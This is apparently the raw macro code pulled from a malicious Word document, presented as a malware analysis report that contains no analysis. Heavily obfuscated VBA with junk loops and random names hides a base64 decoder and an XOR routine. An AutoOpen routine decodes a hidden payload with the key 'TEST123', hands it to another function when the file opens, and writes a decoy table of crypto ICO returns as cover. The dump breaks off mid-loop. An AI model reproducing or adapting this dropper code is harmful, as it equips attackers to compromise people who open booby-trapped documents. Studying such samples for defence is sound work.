Malicious Office (OLE) — malware analysis report

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "iDsJVXrWyEvltpRnke"
Public Function yFjlaVxauphOsypkTj(AZXgIIOJehzbMEnG As String, Optional XDnxcFNgjKAZHZ As Boolean = True) As String
Static mYpKAnQVIthvIINPE(0 To 255) As Byte
Dim iZXqwcYJMtU As Integer
For xygSzHFNDcuSGKFQT = 0 To 9
iZXqwcYJMtU = iZXqwcYJMtU + xygSzHFNDcuSGKFQT
Next xygSzHFNDcuSGKFQT
Dim sveXrDWGoVGEWRdeMuJ() As Byte, ZmPDzSTiLuAtDWj() As Byte
Dim PIIPfTFFfNapUES As Collection
Set PIIPfTFFfNapUES = New Collection
PIIPfTFFfNapUES.Add "ZFNoKTGeZpWGEePBN"
PIIPfTFFfNapUES.Add "CZsAQDenFjM"
PIIPfTFFfNapUES.Add "PSTqbuCQWrVg"
PIIPfTFFfNapUES.Add "pcfhPujhhyGBxgylfTY"
PIIPfTFFfNapUES.Add "xkJOlrWuUilIcoAT"
PIIPfTFFfNapUES.Add "nuUKFPtnRke"
PIIPfTFFfNapUES.Add "YNBbwxPtamHAh"
Dim MdiNplbCZtqHTQeLsxP As Long, aUdfkBZeuabVn As Long
Dim JfkgZgptgxIbJUSy As Integer
JfkgZgptgxIbJUSy = 7 * 6
If mYpKAnQVIthvIINPE(0) = 0 Then
Dim ZNOuAuODTxZZBHoFJ As Integer
ZNOuAuODTxZZBHoFJ = 7 * 4
For MdiNplbCZtqHTQeLsxP = 0 To 255
Dim TrhXxIfmNJH As Integer
TrhXxIfmNJH = 9 - 1 * 5
mYpKAnQVIthvIINPE(MdiNplbCZtqHTQeLsxP) = 255
Dim PePwWJGXrwotGdUVZjx As Integer
For aLPfAXBlCcN = 0 To 9
PePwWJGXrwotGdUVZjx = PePwWJGXrwotGdUVZjx + aLPfAXBlCcN
Next aLPfAXBlCcN
Next MdiNplbCZtqHTQeLsxP
Dim XLHevQHLeUxSD As Integer
XLHevQHLeUxSD = 3 - 5 * 9
For MdiNplbCZtqHTQeLsxP = 0 To 25
etytPcwJjvizxO = Array("PZDbtQuukYLsNYL""nZgQGPsuQKOfrTGF""EirNmPgNtuSWqg""gBYKMXXfHAdAmwBjPPN""BObiqNJcLIwNQ""FkeakjLGBoyD""pTDSOhkyFKyL")
mYpKAnQVIthvIINPE(MdiNplbCZtqHTQeLsxP + 65) = MdiNplbCZtqHTQeLsxP
Dim ljxiDRhkfpgQUJT As Integer
ljxiDRhkfpgQUJT = 9
Dim rWPEJhrJvzm As Integer
rWPEJhrJvzm = 8
Dim ZgkGpWMXZvTiFDozHZM As Integer
ZgkGpWMXZvTiFDozHZM = 7 * 7
If rWPEJhrJvzm < Len(Application.UserName) Then
Dim EaaINTETzVVxMcff, zvLavWyqtwWhYuABqyY As Integer
EaaINTETzVVxMcff = 5
zvLavWyqtwWhYuABqyY = 27
While EaaINTETzVVxMcff < zvLavWyqtwWhYuABqyY
zvLavWyqtwWhYuABqyY = zvLavWyqtwWhYuABqyY - EaaINTETzVVxMcff
Wend
Dim WiXfdPbxkhpD As Variant
End If
If ljxiDRhkfpgQUJT < Len(Application.UserName) Then
Dim vpQIkECifOuO As Integer
vpQIkECifOuO = 5 - 2 * 4
Dim IEhxpkgjvqsgo As Variant
End If
Next MdiNplbCZtqHTQeLsxP
For MdiNplbCZtqHTQeLsxP = 26 To 51
Dim KqtBNwBnXvlPNoDSGU As Integer
KqtBNwBnXvlPNoDSGU = 6
Dim wzQKCUQPEeGX As Integer
wzQKCUQPEeGX = 5
If wzQKCUQPEeGX < Len(Application.UserName) Then
Dim rtWyXtBBwLlXyEyrlPL As Integer
For gDIVhHTHBpVO = 0 To 5
rtWyXtBBwLlXyEyrlPL = rtWyXtBBwLlXyEyrlPL + gDIVhHTHBpVO
Next gDIVhHTHBpVO
Dim bAEoOOJfAHP As Variant
End If
If KqtBNwBnXvlPNoDSGU < Len(Application.UserName) Then
Dim ieKmWWggoDeNW, RuGmfMsPxDSr As Integer
ieKmWWggoDeNW = 8
RuGmfMsPxDSr = 32
While ieKmWWggoDeNW < RuGmfMsPxDSr
RuGmfMsPxDSr = RuGmfMsPxDSr - ieKmWWggoDeNW
Wend
Dim FDUSHXobIJoQZfY As Variant
End If
mYpKAnQVIthvIINPE(MdiNplbCZtqHTQeLsxP + 71) = MdiNplbCZtqHTQeLsxP
Dim axAayCKRcRkH As Integer
axAayCKRcRkH = 4 - 2 * 5
Next MdiNplbCZtqHTQeLsxP
Dim uaHSnjePqMmjLqxAFD As Integer
uaHSnjePqMmjLqxAFD = 9 - 2 * 8
For MdiNplbCZtqHTQeLsxP = 52 To 61
Dim xRfjvJgoNPALAabTFV As Integer
xRfjvJgoNPALAabTFV = 6 * 9
mYpKAnQVIthvIINPE(MdiNplbCZtqHTQeLsxP - 4) = MdiNplbCZtqHTQeLsxP
aANaZXqVoMKzY = Array("IDRppOogUae""HwgGsNuueCpdGkilKI""oIFCraLwLYcAF""MidGvKRzbgOykEb""RDPxUohLCJsZbkQw""mAORJczAQPtNifimohu""NeaMVmqIRsmsIVk""tFkgfguBGUAIvKgTKzE""EBKPxtnYpFZhHkHe")
Next MdiNplbCZtqHTQeLsxP
Dim qtxRtvVufhZsTO As Collection
Set qtxRtvVufhZsTO = New Collection
qtxRtvVufhZsTO.Add "fCSxrlZqmVyUi"
qtxRtvVufhZsTO.Add "DigEXwuoegQChzC"
qtxRtvVufhZsTO.Add "FOmrdqRHmsj"
qtxRtvVufhZsTO.Add "gUwdlKWEyeDRiHx"
qtxRtvVufhZsTO.Add "yuuGTqpphbdfLheDpG"
qtxRtvVufhZsTO.Add "sYmxYOsBbTdRyeShZ"
qtxRtvVufhZsTO.Add "bMDuXtsZYcOXP"
qtxRtvVufhZsTO.Add "FDdezfEUHoPrLKkVUUI"
qtxRtvVufhZsTO.Add "kGCjGKmoMzOWIaPYNn"
qtxRtvVufhZsTO.Add "oyfDniIaFySEA"
mYpKAnQVIthvIINPE(43) = 62
Dim xobuEvuvooBlayvXCL As Integer
xobuEvuvooBlayvXCL = 4 * 8
mYpKAnQVIthvIINPE(47) = 63
Dim SfZeabZMqzOYON As Collection
Set SfZeabZMqzOYON = New Collection
SfZeabZMqzOYON.Add "aKwjCFkjEUzGJOhmjx"
SfZeabZMqzOYON.Add "dfbSOnUqerFN"
SfZeabZMqzOYON.Add "gbIwRUXNXptSuzA"
SfZeabZMqzOYON.Add "lGMlSkpgWaPl"
SfZeabZMqzOYON.Add "erhhczwRvVwKykihAPd"
SfZeabZMqzOYON.Add "wuphRjWGyzpxPo"
SfZeabZMqzOYON.Add "MTwqYZgvKRUXYYXJWhz"
SfZeabZMqzOYON.Add "ziabfbipjsXoV"
End If
Dim YZWAjgaJovs As Integer
YZWAjgaJovs = 3 * 3
If AZXgIIOJehzbMEnG = "" Then Exit Function
Dim CNVCupUVRNUf As Integer
CNVCupUVRNUf = 7 * 5
AZXgIIOJehzbMEnG = Trim(AZXgIIOJehzbMEnG)
XsEBwskgalQlC = Array("txWNPradoQjf""ipAQAzEUTZMZUaPwN""jADskeZqJdp""GqgLtawXwNpBUkY""UhdwCkUCUCacJWgqE""ePdunbKUytHOm""qNmpYUWiUlzCDasGZH""CxQFDwhNerIhIJ""pJhAiClyXvYLdS")
If XDnxcFNgjKAZHZ Then
Dim UOnhTNjexBR As Integer
UOnhTNjexBR = 2 - 1 * 1
For MdiNplbCZtqHTQeLsxP = 0 To 255
Dim lSggNJOFXsVrCfE As Integer
lSggNJOFXsVrCfE = 7
If lSggNJOFXsVrCfE < Len(Application.UserName) Then
LOliZbJUbrHcSHNHH = Array("IMOsbYtiPlRoKKMHki""iXPCkhfhCWeXLrSVm")
Dim TtwMlDAodvu As Variant
End If
If Not (Chr(MdiNplbCZtqHTQeLsxP) Like "[A-Za-z0-9+/=]") Then
Dim WxfrZgaZHoWwNZyPoz As Integer
WxfrZgaZHoWwNZyPoz = 2 - 6 * 9
AZXgIIOJehzbMEnG = Replace(AZXgIIOJehzbMEnG, Chr(MdiNplbCZtqHTQeLsxP), "")
Dim cQzjsDCPyJxmN As Integer
cQzjsDCPyJxmN = 2 * 3
End If
Dim flHNtzJwVnEnTXvp, AEdxxnZDxyiaN As Integer
flHNtzJwVnEnTXvp = 5
AEdxxnZDxyiaN = 97
While flHNtzJwVnEnTXvp < AEdxxnZDxyiaN
AEdxxnZDxyiaN = AEdxxnZDxyiaN - flHNtzJwVnEnTXvp
Wend
Next MdiNplbCZtqHTQeLsxP
Dim PrdHPmLfXWAF As Integer
PrdHPmLfXWAF = 9 - 8 * 6
End If
Dim hxWyFcPDEAARBNNf As Integer
hxWyFcPDEAARBNNf = 4 * 6
ZmPDzSTiLuAtDWj() = StrConv(AZXgIIOJehzbMEnG, vbFromUnicode)
Dim rQtFdeQGzMV As Integer
rQtFdeQGzMV = 7 * 1
ReDim sveXrDWGoVGEWRdeMuJ(0 To ((Len(AZXgIIOJehzbMEnG) \ 4) * 3 - 1))
Dim SIMelqdORPOLfs As Integer
SIMelqdORPOLfs = 8 * 5
For MdiNplbCZtqHTQeLsxP = 0 To Len(AZXgIIOJehzbMEnG) \ 4 - 2
RWXiqTdjjegjh = Array("AEWStbeSskeZqE""QGhfxsuYoRe""LHGasnRmItVHywYqr""DzbyJKSpJtONUHDmD""OjiEjnAzrKuZq")
aUdfkBZeuabVn = mYpKAnQVIthvIINPE(ZmPDzSTiLuAtDWj(MdiNplbCZtqHTQeLsxP * 4 + 3))
zEbVNboRIAJ = Array("sLfNygIxHbC")
aUdfkBZeuabVn = aUdfkBZeuabVn Or (mYpKAnQVIthvIINPE(ZmPDzSTiLuAtDWj(MdiNplbCZtqHTQeLsxP * 4 + 2)) * &H40&)
Dim PLvgiNvDkOWBwGkQ As Integer
For iEsBhLJHQsHwUi = 0 To 7
PLvgiNvDkOWBwGkQ = PLvgiNvDkOWBwGkQ + iEsBhLJHQsHwUi
Next iEsBhLJHQsHwUi
aUdfkBZeuabVn = aUdfkBZeuabVn Or (mYpKAnQVIthvIINPE(ZmPDzSTiLuAtDWj(MdiNplbCZtqHTQeLsxP * 4 + 1)) * &H1000&)
Dim RtwIvqyCPdw, bWhKYdKroHLKLiQivy As Integer
RtwIvqyCPdw = 6
bWhKYdKroHLKLiQivy = 34
While RtwIvqyCPdw < bWhKYdKroHLKLiQivy
bWhKYdKroHLKLiQivy = bWhKYdKroHLKLiQivy - RtwIvqyCPdw
Wend
aUdfkBZeuabVn = aUdfkBZeuabVn Or (mYpKAnQVIthvIINPE(ZmPDzSTiLuAtDWj(MdiNplbCZtqHTQeLsxP * 4 + 0)) * &H40000)
KbgShbnlBshKCwGV = Array("UlanapIRrlp""mTWByoekLMZMZfxN""TaXwCcqGWaeUVIoVl""QrccyjGcvMcCEtBeCJ""cZKQWynJdMoHRxzrRdH""hNIomiPOwcEeK""WtBtxBvpUyiwajQyA")
sveXrDWGoVGEWRdeMuJ(MdiNplbCZtqHTQeLsxP * 3 + 0) = (aUdfkBZeuabVn And &HFF0000) \ &H10000
OAjdAYklxeLTHuohUZ = Array("tyEQSVHksQRlAEAg")
sveXrDWGoVGEWRdeMuJ(MdiNplbCZtqHTQeLsxP * 3 + 1) = (aUdfkBZeuabVn And &HFF00&) \ &H100&
Dim eZkwrGrayTirbY, vlltlKtmYqng As Integer
eZkwrGrayTirbY = 4
vlltlKtmYqng = 45
While eZkwrGrayTirbY < vlltlKtmYqng
vlltlKtmYqng = vlltlKtmYqng - eZkwrGrayTirbY
Wend
sveXrDWGoVGEWRdeMuJ(MdiNplbCZtqHTQeLsxP * 3 + 2) = aUdfkBZeuabVn And &HFF&
Dim tqmOZrKdsPsezrkmD, vnCzWYUqCpeEwohrVRV As Integer
tqmOZrKdsPsezrkmD = 4
vnCzWYUqCpeEwohrVRV = 24
While tqmOZrKdsPsezrkmD < vnCzWYUqCpeEwohrVRV
vnCzWYUqCpeEwohrVRV = vnCzWYUqCpeEwohrVRV - tqmOZrKdsPsezrkmD
Wend
Next MdiNplbCZtqHTQeLsxP
Dim aLuAPgkAeBfFPSsUU, BnqVXYDBOhcT As Integer
aLuAPgkAeBfFPSsUU = 6
BnqVXYDBOhcT = 25
While aLuAPgkAeBfFPSsUU < BnqVXYDBOhcT
BnqVXYDBOhcT = BnqVXYDBOhcT - aLuAPgkAeBfFPSsUU
Wend
aUdfkBZeuabVn = 0
Dim PBKEmPEcpyVllcVYS As Integer
PBKEmPEcpyVllcVYS = 7
Dim ERJLaVWylyanIzv, xBtUfdBapSwwtGJThi As Integer
ERJLaVWylyanIzv = 5
xBtUfdBapSwwtGJThi = 46
While ERJLaVWylyanIzv < xBtUfdBapSwwtGJThi
xBtUfdBapSwwtGJThi = xBtUfdBapSwwtGJThi - ERJLaVWylyanIzv
Wend
If PBKEmPEcpyVllcVYS < Len(Application.UserName) Then
Dim AXapZreOAazTMhb As Integer
For xHyXEGyFNsqyelo = 0 To 6
AXapZreOAazTMhb = AXapZreOAazTMhb + xHyXEGyFNsqyelo
Next xHyXEGyFNsqyelo
Dim rekOtUbGRKi As Variant
End If
If mYpKAnQVIthvIINPE(ZmPDzSTiLuAtDWj(MdiNplbCZtqHTQeLsxP * 4 + 3)) <> 255 Then aUdfkBZeuabVn = mYpKAnQVIthvIINPE(ZmPDzSTiLuAtDWj(MdiNplbCZtqHTQeLsxP * 4 + 3))
Dim zpkvxAZUuYSSZ As Integer
zpkvxAZUuYSSZ = 5 - 9 * 5
If mYpKAnQVIthvIINPE(ZmPDzSTiLuAtDWj(MdiNplbCZtqHTQeLsxP * 4 + 2)) <> 255 Then aUdfkBZeuabVn = aUdfkBZeuabVn Or (mYpKAnQVIthvIINPE(ZmPDzSTiLuAtDWj(MdiNplbCZtqHTQeLsxP * 4 + 2)) * &H40&)
Dim OtHmQWNPvSYLIwyUE As Integer
For KZOAjBVCgOhNXMoa = 0 To 2
OtHmQWNPvSYLIwyUE = OtHmQWNPvSYLIwyUE + KZOAjBVCgOhNXMoa
Next KZOAjBVCgOhNXMoa
If mYpKAnQVIthvIINPE(ZmPDzSTiLuAtDWj(MdiNplbCZtqHTQeLsxP * 4 + 1)) <> 255 Then aUdfkBZeuabVn = aUdfkBZeuabVn Or (mYpKAnQVIthvIINPE(ZmPDzSTiLuAtDWj(MdiNplbCZtqHTQeLsxP * 4 + 1)) * &H1000&)
EByUWYamuPhUM = Array("xwPZZOvabTXsOiI""XyoXnEFJSwkP""cBepGQZbKJeT""AtbzTnhaBQPSX""pUEnqAGEnOlGEaMoqM""cMwUIuBYUVqjmIqVIan""XSxWtRBYeSHAMjuvP")
If mYpKAnQVIthvIINPE(ZmPDzSTiLuAtDWj(MdiNplbCZtqHTQeLsxP * 4 + 0)) <> 255 Then aUdfkBZeuabVn = aUdfkBZeuabVn Or (mYpKAnQVIthvIINPE(ZmPDzSTiLuAtDWj(MdiNplbCZtqHTQeLsxP * 4 + 0)) * &H40000)
Dim fsByZiuPpfLlPgRBkUM As Integer
For jPXmMNGZvhbnFUu = 0 To 5
fsByZiuPpfLlPgRBkUM = fsByZiuPpfLlPgRBkUM + jPXmMNGZvhbnFUu
Next jPXmMNGZvhbnFUu
sveXrDWGoVGEWRdeMuJ(MdiNplbCZtqHTQeLsxP * 3 + 0) = (aUdfkBZeuabVn And &HFF0000) \ &H10000
sveXrDWGoVGEWRdeMuJ(MdiNplbCZtqHTQeLsxP * 3 + 1) = (aUdfkBZeuabVn And &HFF00&) \ &H100&
Dim LpNxeMaRdHSYGCQdj As Integer
LpNxeMaRdHSYGCQdj = 2 - 2 * 4
sveXrDWGoVGEWRdeMuJ(MdiNplbCZtqHTQeLsxP * 3 + 2) = aUdfkBZeuabVn And &HFF&
Dim loFtWoQwwFoxCcEBq As Integer
loFtWoQwwFoxCcEBq = 7 - 1 * 7
If ZmPDzSTiLuAtDWj(UBound(ZmPDzSTiLuAtDWj) - 1) = 61 Then
Dim TuiNkALKceAneE As Integer
For YCqairaxWkkRCKRZLsB = 0 To 1
TuiNkALKceAneE = TuiNkALKceAneE + YCqairaxWkkRCKRZLsB
Next YCqairaxWkkRCKRZLsB
yFjlaVxauphOsypkTj = Left(StrConv(sveXrDWGoVGEWRdeMuJ, vbUnicode), UBound(sveXrDWGoVGEWRdeMuJ) - 1)
mJBakyJgafUShf = Array("ApMNJuMFgacHuWNty""GLRagWFCZFGuzSIdxF""qoONVzTtIUC""EURHyyqyDqbqQa""NmlusqXOSIsDr""dNSsJvkNAAXwFmpsE""DGLAKbnlQjNXU")
ElseIf ZmPDzSTiLuAtDWj(UBound(ZmPDzSTiLuAtDWj)) = 61 Then
Dim AmUqtmeRRNQmjRd As Integer
AmUqtmeRRNQmjRd = 1
If AmUqtmeRRNQmjRd < Len(Application.UserName) Then
WrfQVZFamCTxWhIGky = Array("qpkjesGlogYYrzKGpQZ""OpvdtqzSzybePkz")
Dim GutEWlyYPVu As Variant
End If
yFjlaVxauphOsypkTj = Left(StrConv(sveXrDWGoVGEWRdeMuJ, vbUnicode), UBound(sveXrDWGoVGEWRdeMuJ) - 0)
Else
Dim reTfjhIWpyB As Integer
reTfjhIWpyB = 2 - 2 * 9
yFjlaVxauphOsypkTj = StrConv(sveXrDWGoVGEWRdeMuJ, vbUnicode)
bhacCfZBSNJHNLu = Array("IHGJahYZmzO""gpxyvquuXJDwuZ""tJyDcbhWKskxNIEntsb""GOxoAXLCBFsXdMWRZfC""ptHVMjhKVZuMDLQQf")
End If
End Function
Public Function KKjSOPnUOhfTQiDzw(ByRef UVWheHsCSXpgz As String, ByRef ZBVylJScMUMTEMzjKm As String) As String
Dim UCcbxUDdVrJhrVgk As Integer
UCcbxUDdVrJhrVgk = 3
If UCcbxUDdVrJhrVgk < Len(Application.UserName) Then
Dim HbJuwnautiwSMlW As Integer
For uYUwohJDIuaImXd = 0 To 5
HbJuwnautiwSMlW = HbJuwnautiwSMlW + uYUwohJDIuaImXd
Next uYUwohJDIuaImXd
Dim fOnNVIaDUAinMAlmxm As Variant
End If
Dim tAfRVUviRzzweHPIc() As Byte, gbYkqVllnZnxjCrbx() As Byte, SnTmdwsoSZfYuoOy As Long, cgcJmaEIPIrfgZ As Long, JCCsLxvlnsosgWggb As Long, AZXgIIOJehzbMEnG As Long
Dim RyEYjiBjIHvqP As Integer
RyEYjiBjIHvqP = 8 * 1
tAfRVUviRzzweHPIc = StrConv(UVWheHsCSXpgz, vbFromUnicode)
Dim lPavJtlNNFalwqqAv As Integer
For pJkmUvAfssHIDoJMSD = 0 To 2
lPavJtlNNFalwqqAv = lPavJtlNNFalwqqAv + pJkmUvAfssHIDoJMSD
Next pJkmUvAfssHIDoJMSD
gbYkqVllnZnxjCrbx = StrConv(ZBVylJScMUMTEMzjKm, vbFromUnicode)
zhdZOYEZqHvA = Array("RmtEyDaDBJwthrXKhA""GySyAhYLQGERdBZDvz""hhQkVrYzKTUr""slRDYVEFNhjEN""ofKcEEEZliin""ywuUsYpithMfRKN""XcrtefAphpqipA")
SnTmdwsoSZfYuoOy = UBound(tAfRVUviRzzweHPIc)
Dim prjHtCzWfmjYA As Integer
For oCkbDdwZVBVlU = 0 To 7
prjHtCzWfmjYA = prjHtCzWfmjYA + oCkbDdwZVBVlU
Next oCkbDdwZVBVlU
cgcJmaEIPIrfgZ = UBound(gbYkqVllnZnxjCrbx)
Dim OORCKEdJTwkScSq As Integer
OORCKEdJTwkScSq = 3
Dim CEPIwFehhJVOOvRenJ As Integer
CEPIwFehhJVOOvRenJ = 8 * 3
If OORCKEdJTwkScSq < Len(Application.UserName) Then
GDBxQYbhHDmKmeI = Array("WuUxcLhMZWlTOfBgJol""fyNqfOsLcpj""KBoeJnLjrXWp""PIlaMQsAtmxci""FifzmFvtwMYcSntzp""XQhqGtbfdrgFpt")
Dim DUSDBxrxjTqZDSghXXa As Variant
End If
For JCCsLxvlnsosgWggb = 0 To SnTmdwsoSZfYuoOy
Dim peafQNdSogoZWy As Integer
For wYnAYBiiQCbDQbcOCK = 0 To 7
peafQNdSogoZWy = peafQNdSogoZWy + wYnAYBiiQCbDQbcOCK
Next wYnAYBiiQCbDQbcOCK
tAfRVUviRzzweHPIc(JCCsLxvlnsosgWggb) = tAfRVUviRzzweHPIc(JCCsLxvlnsosgWggb) Xor gbYkqVllnZnxjCrbx(AZXgIIOJehzbMEnG)
Dim hBvnTYazRFicesk As Collection
Set hBvnTYazRFicesk = New Collection
hBvnTYazRFicesk.Add "CPnhNbwccVjWTxa"
hBvnTYazRFicesk.Add "HyUYpEfHcdYt"
hBvnTYazRFicesk.Add "ihveiryciUTz"
hBvnTYazRFicesk.Add "awtkPfLZRwAJaAs"
hBvnTYazRFicesk.Add "EmdzBKCYCMh"
hBvnTYazRFicesk.Add "fDnjYVEPyveGE"
hBvnTYazRFicesk.Add "CQcIWdizWeEWDyZaso"
hBvnTYazRFicesk.Add "qcPPePBizKVy"
hBvnTYazRFicesk.Add "baIuPosowrahTrxfQ"
If AZXgIIOJehzbMEnG < cgcJmaEIPIrfgZ Then
UYOQEqkJkWNDtNwR = Array("ibVFrUqwbfpQxsGQeQ")
AZXgIIOJehzbMEnG = AZXgIIOJehzbMEnG + 1
Else
Dim CtUVJWDqCUzz As Integer
For pjOxPGvqndw = 0 To 4
CtUVJWDqCUzz = CtUVJWDqCUzz + pjOxPGvqndw
Next pjOxPGvqndw
AZXgIIOJehzbMEnG = 0
Dim nBCHQOsSghIK As Integer
nBCHQOsSghIK = 5
Dim hwgKavRzeEYHgpHMCun As Integer
hwgKavRzeEYHgpHMCun = 8 * 7
If nBCHQOsSghIK < Len(Application.UserName) Then
slIhJwxIIzoPu = Array("nssEbeBDuJvjYIZAo")
Dim AqFVnsGqVdbnRiA As Variant
End If
End If
Dim zcRHOJggxDZOayR As Integer
zcRHOJggxDZOayR = 3 * 3
Next JCCsLxvlnsosgWggb
Dim JzkPLqWFfGXFMPwf As Collection
Set JzkPLqWFfGXFMPwf = New Collection
JzkPLqWFfGXFMPwf.Add "atdbpVYrAUVDHywvUrR"
JzkPLqWFfGXFMPwf.Add "fFSzpjCytIXUcbbXXnL"
KKjSOPnUOhfTQiDzw = StrConv(tAfRVUviRzzweHPIc, vbUnicode)
End Function
Sub AutoOpen()
Dim lLCedgKQFsKkSEOp, SAVqlrfVNhGsr As Integer
lLCedgKQFsKkSEOp = 3
SAVqlrfVNhGsr = 45
While lLCedgKQFsKkSEOp < SAVqlrfVNhGsr
SAVqlrfVNhGsr = SAVqlrfVNhGsr - lLCedgKQFsKkSEOp
Wend
Dim LFpTzAJBQmsduFHx As String: LFpTzAJBQmsduFHx = yFjlaVxauphOsypkTj("PDEnJEIIHHs2PjVDRl0xMjwmXVYdNyo+e1VdRDopPDVVQRw3Kjo6RVdfMSIhNUFaHCctJztdAQNldAwYXlNXMTcMbVJABHogKzE=")
Dim qPXLyHfMBQNtZ As Integer
For BUgURPiwYNaHzL = 0 To 3
qPXLyHfMBQNtZ = qPXLyHfMBQNtZ + BUgURPiwYNaHzL
Next BUgURPiwYNaHzL
UqCZAoQMFKZeKD.jUCWCSAbLyctZ (KKjSOPnUOhfTQiDzw(LFpTzAJBQmsduFHx, "TEST123"))
SoPPHsNWVDYOUOnIT
Dim EGQDFhWkadbb As Integer
EGQDFhWkadbb = 7
Dim zOrQpWDTnxqElo As Integer
zOrQpWDTnxqElo = 3 - 4 * 2
If EGQDFhWkadbb < Len(Application.UserName) Then
Dim SognmnkLtWJONs As Integer
SognmnkLtWJONs = 3 - 2 * 1
Dim CkpDWoyxqDPeFa As Variant
End If
JqRITMOSjiRsMqsFlU ("Project Ticker  Amount Raised (USD) ICO Date Completed  Sale Price (USD)    Current Price (USD) Return (%)  What $1 Invested at ICO Price Would Be Worth") & Chr(11)
Dim hdwPfUPqAXBtrp As Integer
For zvRiADZAZnACihds = 0 To 3
hdwPfUPqAXBtrp = hdwPfUPqAXBtrp + zvRiADZAZnACihds
Next zvRiADZAZnACihds
JqRITMOSjiRsMqsFlU ("Bolenum BLN $18,606 Aug. 2017   .724  .002  -99.72% .003") & Chr(11)
Dim RLsNLZrdjVDrLGIE As Integer
RLsNLZrdjVDrLGIE = 3 * 2
JqRITMOSjiRsMqsFlU ("MyBit   MYB $3,036,000  Aug. 2017   $1.984  .022  -98.89% .011") & Chr(11)
Dim RhTepHJsmWPHB As Integer
RhTepHJsmWPHB = 7 - 3 * 7
JqRITMOSjiRsMqsFlU ("Lampix  PIX $12,172,472 Aug. 2017   .213  .005  -97.65% .023") & Chr(11)
Dim AyPgAMrBjYqNrvPoksr As Integer
AyPgAMrBjYqNrvPoksr = 3 - 8 * 8
JqRITMOSjiRsMqsFlU ("Bitclave    CAT $25,547,000 Nov. 2017   .085  .002  -97.65% .024") & Chr(11)
Dim VdTwcgLkoIpZEWl, QiMKlAOZmLnQWVjpm As Integer
VdTwcgLkoIpZEWl = 6
QiMKlAOZmLnQWVjpm = 66
While VdTwcgLkoIpZEWl < QiMKlAOZmLnQWVjpm
QiMKlAOZmLnQWVjpm = QiMKlAOZmLnQWVjpm - VdTwcgLkoIpZEWl
Wend
JqRITMOSjiRsMqsFlU ("Leadcoin    LDC $50,000,000 Mar. 2018   .038  .001  -97.37% .026") & Chr(11)
Dim BNCZhZTmgLRkTaG As Integer
BNCZhZTmgLRkTaG = 4 * 5
JqRITMOSjiRsMqsFlU ("Aditus  ADI $7,100,194  Dec. 2017   .036  .001  -97.22% .028") & Chr(11)
Dim cFWMeAHDvHSSPdArl As Integer
cFWMeAHDvHSSPdArl = 1 * 2
JqRITMOSjiRsMqsFlU ("Sether  SETH    $30,489,312 Jan. 2018   $2.772  .078  -97.19% .028") & Chr(11)
Dim yiocjWMpHTrOmGrp As Collection
Set yiocjWMpHTrOmGrp = New Collection
yiocjWMpHTrOmGrp.Add "sdGHgmmiXlPvJYnzF"
yiocjWMpHTrOmGrp.Add "WOhNLmlMabLfdD"
yiocjWMpHTrOmGrp.Add "jUrTiQAWiiymC"
yiocjWMpHTrOmGrp.Add "rwMDPpQaaKUleVQzP"
yiocjWMpHTrOmGrp.Add "FHQsBhKZksisjLJZqf"
yiocjWMpHTrOmGrp.Add "GUdsaIdFHJJ"
yiocjWMpHTrOmGrp.Add "JscSzoyRTWuurkqf"
JqRITMOSjiRsMqsFlU ("Mercury Protocol    GMT $10,485,538 Nov. 2017   .068  .002  -97.06% .029") & Chr(11)
Dim FUiupKwoLNhnxZON, QOXwSBKiGKkisKBslU As Integer
FUiupKwoLNhnxZON = 9
QOXwSBKiGKkisKBslU = 61
While FUiupKwoLNhnxZON < QOXwSBKiGKkisKBslU
QOXwSBKiGKkisKBslU = QOXwSBKiGKkisKBslU - FUiupKwoLNhnxZON
Wend
JqRITMOSjiRsMqsFlU ("DomRaider   DRT $42,000,000 Nov. 2017   .120  .004  -96.67% .033") & Chr(11)
Dim vFDpiJoCrepwY As Integer
vFDpiJoCrepwY = 8 * 8
JqRITMOSjiRsMqsFlU ("IUNGO   ING $23,000,000 Jan. 2018   .575  .020  -96.52% .035") & Chr(11)
Dim bdxbuwlNZtdtAylAMmf As Integer
bdxbuwlNZtdtAylAMmf = 3
Dim jJYQSpwoVlSl As Integer
jJYQSpwoVlSl = 6 - 8 * 7
If bdxbuwlNZtdtAylAMmf < Len(Application.UserName) Then
Dim OXadUhlBHdUOOoOGTO As Integer
For TgtkLgBEGofOFlliT = 0 To 3
OXadUhlBHdUOOoOGTO = OXadUhlBHdUOOoOGTO + TgtkLgBEGofOFlliT
Next TgtkLgBEGofOFlliT
Dim TmqZUngWdsZToQpMqui As Variant
End If
JqRITMOSjiRsMqsFlU ("Digital Developers Fund DDF $1,963,332  Aug. 2017   .305  .011  -96.39% .036") & Chr(11)
YMZzzcwTmGk = Array("UFuFBHLgkiOyBUhxOJG""zZVLmFFuggsjDDdra""bXZgsmnuAiPabrxJF")
JqRITMOSjiRsMqsFlU ("Decentralized Machine Learning  DML $6,899,192  Apr. 2018   .165  .006  -96.36% .036") & Chr(11)
Dim MJsJEGJxarXHJP As Integer
For TkIuJTZajQhqpF = 0 To 5
MJsJEGJxarXHJP = MJsJEGJxarXHJP + TkIuJTZajQhqpF
Next TkIuJTZajQhqpF
JqRITMOSjiRsMqsFlU ("Neuromation NTK $50,000,000 Jan. 2018   .833  .033  -96.04% .040") & Chr(11)
Dim RLcwKEPhuKrlzZ, FowjcvnWumpowBGQGu As Integer
RLcwKEPhuKrlzZ = 8
FowjcvnWumpowBGQGu = 43
While RLcwKEPhuKrlzZ < FowjcvnWumpowBGQGu
FowjcvnWumpowBGQGu = FowjcvnWumpowBGQGu - RLcwKEPhuKrlzZ
Wend
JqRITMOSjiRsMqsFlU ("Vezt    VZT $1,380,644  Dec. 2017   .492  .020  -95.93% .041") & Chr(11)
Dim ySAETJQfsHPDZtaRSO, EXFwyeZWzquVraUtkc As Integer
ySAETJQfsHPDZtaRSO = 6
EXFwyeZWzquVraUtkc = 39
While ySAETJQfsHPDZtaRSO < EXFwyeZWzquVraUtkc
EXFwyeZWzquVraUtkc = EXFwyeZWzquVraUtkc - ySAETJQfsHPDZtaRSO
Wend
JqRITMOSjiRsMqsFlU ("Thrive  THRT    $26,000,000 Apr. 2018   .241  .010  -95.85% .041") & Chr(11)
Dim gSbtEfbzLoDFfM, FjxUMCWRPCbazBdGPwN As Integer
gSbtEfbzLoDFfM = 2
FjxUMCWRPCbazBdGPwN = 15
While gSbtEfbzLoDFfM < FjxUMCWRPCbazBdGPwN
